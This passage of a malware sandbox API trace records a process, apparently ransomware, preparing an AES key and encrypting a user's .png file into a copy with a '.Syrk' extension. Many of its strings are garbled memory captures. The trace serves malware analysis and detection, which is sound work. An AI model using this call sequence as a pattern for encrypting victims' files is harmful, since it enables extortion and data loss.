(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0190.194] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0190.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.194] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0190.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0190.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0190.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0190.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.197] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0190.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.197] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0190.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.198] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0190.198] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0190.199] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0190.199] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.199] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0190.199] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.200] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0190.200] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.200] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0190.201] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.201] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.201] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0190.201] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.201] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0190.202] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.202] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0190.202] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.202] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0190.203] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0190.203] SystemFunction041 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.204] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0190.204] SystemFunction040 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.204] SystemFunction041 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.204] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0190.204] SystemFunction040 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.204] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.205] SystemFunction041 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.205] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0190.205] SystemFunction040 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.205] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.205] SystemFunction041 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.205] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.205] SystemFunction040 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.206] EtwEventActivityIdControl () returned 0x0 [0190.206] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.206] SystemFunction041 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.206] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.206] SystemFunction040 (in: Memory=0x3da6fc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da6fc) returned 0x0 [0190.209] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4ce58) returned 1 [0190.212] CryptImportKey (in: hProv=0x5c4ce58, pbData=0x24d3c08*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68d80) returned 1 [0190.212] CryptContextAddRef (hProv=0x5c4ce58, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.213] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.213] EtwEventActivityIdControl () returned 0x0 [0190.213] EtwEventActivityIdControl () returned 0x0 [0190.213] EtwEventActivityIdControl () returned 0x0 [0190.271] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 0x20 [0190.272] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 0x20 [0190.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0190.273] EtwEventActivityIdControl () returned 0x0 [0190.273] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.274] EtwEventActivityIdControl () returned 0x0 [0190.274] EtwEventActivityIdControl () returned 0x0 [0190.274] EtwEventActivityIdControl () returned 0x0 [0190.275] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.275] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0190.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.276] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ac [0190.276] GetFileType (hFile=0x3ac) returned 0x1 [0190.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.276] GetFileType (hFile=0x3ac) returned 0x1 [0190.276] EtwEventActivityIdControl () returned 0x0 [0190.277] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.277] EtwEventActivityIdControl () returned 0x0 [0190.277] EtwEventActivityIdControl () returned 0x0 [0190.277] EtwEventActivityIdControl () returned 0x0 [0190.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0190.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk", lpFilePart=0x0) returned 0x43 [0190.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.279] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460 [0190.281] GetFileType (hFile=0x460) returned 0x1 [0190.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.281] GetFileType (hFile=0x460) returned 0x1 [0190.281] EtwEventActivityIdControl () returned 0x0 [0190.282] CryptGenRandom (in: hProv=0x5c4ce58, dwLen=0x10, pbBuffer=0x24e5cc0 | out: pbBuffer=0x24e5cc0) returned 1 [0190.283] CryptContextAddRef (hProv=0x5c4ce58, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.283] CryptDuplicateKey (in: hKey=0x5c68d80, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c69400) returned 1 [0190.283] CryptContextAddRef (hProv=0x5c4ce58, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.283] CryptSetKeyParam (hKey=0x5c69400, dwParam=0x4, pbData=0x24e7100*=0x1, dwFlags=0x0) returned 1 [0190.284] CryptSetKeyParam (hKey=0x5c69400, dwParam=0x1, pbData=0x24e70cc, dwFlags=0x0) returned 1 [0190.284] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.285] EtwEventActivityIdControl () returned 0x0 [0190.285] EtwEventActivityIdControl () returned 0x0 [0190.285] EtwEventActivityIdControl () returned 0x0 [0190.286] EtwEventActivityIdControl () returned 0x0 [0190.287] ReadFile (in: hFile=0x3ac, lpBuffer=0x24e9d74, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x24e9d74*, lpNumberOfBytesRead=0x5a2ea0c*=0x48e1, lpOverlapped=0x0) returned 1 [0190.289] CryptEncrypt (in: hKey=0x5c69400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24fdd8c*, pdwDataLen=0x5a2ea00*=0x48e0, dwBufLen=0x48e0 | out: pbData=0x24fdd8c*, pdwDataLen=0x5a2ea00*=0x48e0) returned 1 [0190.289] WriteFile (in: hFile=0x460, lpBuffer=0x24e5df8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24e5df8*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0190.291] WriteFile (in: hFile=0x460, lpBuffer=0x24fed78*, nNumberOfBytesToWrite=0x38f4, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24fed78*, lpNumberOfBytesWritten=0x5a2e9e4*=0x38f4, lpOverlapped=0x0) returned 1 [0190.291] ReadFile (in: hFile=0x3ac, lpBuffer=0x24e9d74, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x24e9d74*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0190.292] CryptEncrypt (in: hKey=0x5c69400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25026d4*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x25026d4*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0190.292] CryptEncrypt (in: hKey=0x5c69400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25026f0*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x25026f0*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0190.292] WriteFile (in: hFile=0x460, lpBuffer=0x24e5df8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x24e5df8*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0190.292] CloseHandle (hObject=0x460) returned 1 [0190.294] CloseHandle (hObject=0x3ac) returned 1 [0190.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.294] EtwEventActivityIdControl () returned 0x0 [0190.294] EtwEventActivityIdControl () returned 0x0 [0190.294] EtwEventActivityIdControl () returned 0x0 [0190.301] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: 